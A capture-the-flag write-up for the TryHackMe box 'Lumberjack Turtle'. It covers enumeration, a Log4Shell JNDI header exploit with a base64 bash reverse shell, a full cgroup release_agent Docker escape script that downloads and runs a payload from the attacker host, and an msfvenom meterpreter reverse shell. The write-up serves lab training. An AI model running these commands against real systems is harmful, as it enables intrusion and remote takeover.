TryHackMe >> Lumberjack Turtle

Table of Contents

DESCRIPTION

What do lumberjacks and turtles have to do with this challenge?

Hack into the machine. Get root.  You’ll figure it out.

ENUM >> NMAP

# Nmap 7.92 scan initiated Thu Feb 10 19:41:39 2022 as: nmap -sS -v -sC -sV -oN nmap_initial 10.10.30.120
Increasing send delay for 10.10.30.120 from 0 to 5 due to 61 out of 201 dropped probes since last increase.
Nmap scan report for 10.10.30.120
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE     VERSION
22/tcp open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6a:a1:2d:13:6c:8f:3a:2d:e3:ed:84:f4:c7:bf:20:32 (RSA)
|   256 1d:ac:5b:d6:7c:0c:7b:5b:d4:fe:e8:fc:a1:6a:df:7a (ECDSA)
|_  256 13:ee:51:78:41:7e:3f:54:3b:9a:24:9b:06:e2:d5:14 (ED25519)
80/tcp open  nagios-nsca Nagios NSCA
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 10 19:42:11 2022 -- 1 IP address (1 host up) scanned in 31.79 seconds

ENUM >> Website

  • When you visit the root URL you get greeted with the following message:
What you doing here? There is nothing for you to C. Grab a cup of java and look deeper.
  • "Java" hey… I see what you did there… Anyway, when trying any other url (such as robots.txt) you get an error message as below:
# Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Thu Feb 10 09:02:47 GMT 2022

There was an unexpected error (type=Not Found, status=404).
  • The webserver seems to be running some Java application (surprise huh!) called "Spring Boot", searching on google for "Whitelabel Error Page" lead me to a page exposing it was Spring Boot… searching for "Spring Boot exploit" landed on the following GitHub site: pyn3rd/Spring-Boot-Vulnerability… unfortunately none of the supposed default endpoint pages exist, but it does hint at methods to exploit via log4j…

ENUM >> GoBuster scan(s) on the website

  • Let’s see what GoBuster returns:
❯ gobuster dir -u http://10.10.30.120 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.30.120
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/10 19:50:51 Starting gobuster in directory enumeration mode
===============================================================
/error                (Status: 500) [Size: 73]
/~logs                (Status: 200) [Size: 29]

===============================================================
2022/02/10 19:52:29 Finished
===============================================================
  • Visiting /~logs/ reveals the following message:
No logs, no crime. Go deeper.
  • Ok, whatever you say…
❯ gobuster dir -u http://10.10.30.120/~logs/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.30.120/~logs/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/10 19:53:00 Starting gobuster in directory enumeration mode
===============================================================
/log4j                (Status: 200) [Size: 47]
Progress: 3658 / 4703 (77.78%)               ^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2022/02/10 19:54:17 Finished
===============================================================
  • This is already looking tasty… lets see what we get when we visit /~logs/log4j/
Hello, vulnerable world! What could we do HERE?

PRIVESC >> shell access via log4j

  • As mentioned earlier… here is an exploit I found mentioning log4j exploits for Spring Boot:

https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab

  • To use their method, first we download JNDIExploit v1.2 and extract it.

  • Start JNDIExploit, setting -i to your attack box IP and -p to the port of your choice for the HTTP server to listen on:

❯ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.9.0.248 -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • We will need to base64 encode the payload – don’t forget the -w 0 argument on base64 to omit the linefeed:
❯ echo "bash -c 'bash -i &>/dev/tcp/10.9.0.248/1337 <&1'" | base64 -w 0
YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjkuMC4yNDgvMTMzNyA8JjEnCg==
  • Then using curl we will craft the final payload – the entrypoint this CVE uses is the HTTP header X-Api-Version to push the JNDI payload to the log4j endpoint:
❯ curl http://10.10.222.157/~logs/log4j/ -H 'X-Api-Version: ${jndi:ldap://10.9.0.248:1389/Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjkuMC4yNDgvMTMzNyA8JjEnCg==}'
Hello, vulnerable world! Did we get pwnage?
  • JNDIExploit should ouput something similar to below:
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjkuMC4yNDgvMTMzNyA8JjEnCg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjkuMC4yNDgvMTMzNyA8JjEnCg== redirecting to http://10.9.0.248:8888/ExploitY3LatpRjU4.class
[+] New HTTP Request From /10.10.222.157:48172  /ExploitY3LatpRjU4.class
[+] Receive ClassRequest: ExploitY3LatpRjU4.class
[+] Response Code: 200
[+] Received LDAP Query: Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjkuMC4yNDgvMTMzNyA8JjEnCg==
[+] Paylaod: command
[+] Command: bash -c 'bash -i &>/dev/tcp/10.9.0.248/1337 <&1'
  • … and our listener should get a connection! 😉
❯ rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.9.0.248] from (UNKNOWN) [10.10.222.157] 56622
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4#
  • OK, we are already root… this cannot be a good sign! First thing’s first though…
LOOT >> Flag 1
bash-4.4# cat /opt/.flag1
cat /opt/.flag1
<REDACTED>

PRIVESC >> Docker –privileged escape

  • As I initially suspected when we landed in the box as root – we are currently stuck in a container. The big sign is the presence of .dockerenv in /:
bash-4.4# ls -al /
ls -al /
total 68
drwxr-xr-x    1 root     root          4096 Dec 13 01:26 .
drwxr-xr-x    1 root     root          4096 Dec 13 01:26 ..
-rwxr-xr-x    1 root     root             0 Dec 13 01:25 .dockerenv
drwxr-xr-x    1 root     root          4096 Dec 11 21:04 app
drwxr-xr-x    1 root     root          4096 Dec 11 21:04 bin
  • Knowing we were in a container, I ran a wonderful Docker enumeration script called deepce.sh on the box, and it gave me the following:
[+] Privileged Mode ......... Yes
The container appears to be running in privilege mode, we should be able to access the
raw disks and mount the hosts root partition in order to gain code execution.
See https://stealthcopter.github.io/deepce/guides/docker-privileged.md
  • Researching this method took a decent whack of trial and error on this box… the usual "PoC" methods don’t quite work on this system. I did eventually manage to find a solution that I tweaked to work on this box… not the prettiest of methods, but working netherless:
#!/bin/sh
OUTPUT_DIR="/tmp"
MAX_PID=65535
CGROUP_NAME="$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-5} | head -n 1)"
CGROUP_MOUNT="/tmp/.c"
PAYLOAD_NAME="${CGROUP_NAME}_p.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_p.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
wget http://10.9.0.248:8080/mr -O /tmp/mr_${CGROUP_NAME}; chmod +x /tmp/mr_${CGROUP_NAME}; /tmp/mr_${CGROUP_NAME}
ping -c 5 10.9.0.248 > \${OUTPATH} 2>&1
__EOF__

chmod a+x ${PAYLOAD_PATH}
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo -n 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
    if [ $((${TPID} % 100)) -eq 0 ]
    then
        if [ ${TPID} -gt ${MAX_PID} ]
        then
            echo "[-] failed to find pid... exiting."
            exit 1
        fi
    fi
    echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
    sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
    TPID=$((${TPID} + 1))
done

sleep 1
echo "[+] found pid! using ${TPID}"
echo "[+] execution on host successful! ping output:"
cat ${OUTPUT_PATH}
umount /tmp/.c
rm -rf /tmp/.c ${PAYLOAD_PATH}
  • Unfortunately I couldn’t get a simple connect-back shell using bash only, so I generated a msfvenom payload for a meterpreter reverse shell and dropped it on my python HTTP server:
❯ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.9.0.248 LPORT=1337 --platform linux -a x64 -f elf -o mr
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: mr
  • First to start up a meterpreter listener in msfconsole:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.0.248:1337
  • I also opened up a tcpdump -i tun0 icmp session to ensure I could see it pinging back to my attack box:
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
  • Now for the moment of truth…:
bash-4.4# ./dpe.sh
./dpe.sh
[+] found pid! using 2940
[+] execution on host successful! ping output:
PING 10.9.0.248 (10.9.0.248) 56(84) bytes of data.
64 bytes from 10.9.0.248: icmp_seq=1 ttl=63 time=398 ms
  • … meanwhile on tcpdump:
16:13:02.932668 IP 10.10.40.253 > 10.9.0.248: ICMP echo request, id 14655, seq 1, length 64
16:13:02.932718 IP 10.9.0.248 > 10.10.40.253: ICMP echo reply, id 14655, seq 1, length 64
  • … and on msfvenom:
[*] Sending stage (3020772 bytes) to 10.10.40.253
[*] Meterpreter session 4 opened (10.9.0.248:1337 -> 10.10.40.253:55276 ) at 2022-02-11 16:13:26 +1100

meterpreter > getuid
Server username: root
meterpreter >
  • We are now outside the container, and root! Time to grab that last flag…
LOOT >> Flag 2
meterpreter > cd root
meterpreter > cat root.txt
Pffft. Come on. Look harder.
  • Ok, playing hard to get? 😉
root@lumberjackturtle:/# find / -type f -iname *flag*
/root/.../._fLaG2

...

root@lumberjackturtle:~# cd /root
root@lumberjackturtle:~# ls -al
ls -al
total 2896
drwx------  4 root root    4096 Feb 11 07:00 .
drwxr-xr-x 22 root root    4096 Feb 11 03:58 ..
drwxr-xr-x  2 root root    4096 Dec 13 01:25 ...
-rw-------  1 root root      29 Feb 11 06:34 .bash_history
-rw-r--r--  1 root root    3106 Apr  9  2018 .bashrc
-rw-r--r--  1 root root     148 Aug 17  2015 .profile
drwx------  2 root root    4096 Dec 13 01:23 .ssh

...

root@lumberjackturtle:~# cd ...
root@lumberjackturtle:~/...# cat ._fLaG2
<REDACTED>
  • I can’t believe I didn’t see that ... folder when I originally checked in /root – I have personally used that before to hide tools from detection (a trick I learned back in my darker-hat research days…). Kudos to the creator of this CTF, this was a nice touch.


Leave a Reply

Your email address will not be published. Required fields are marked *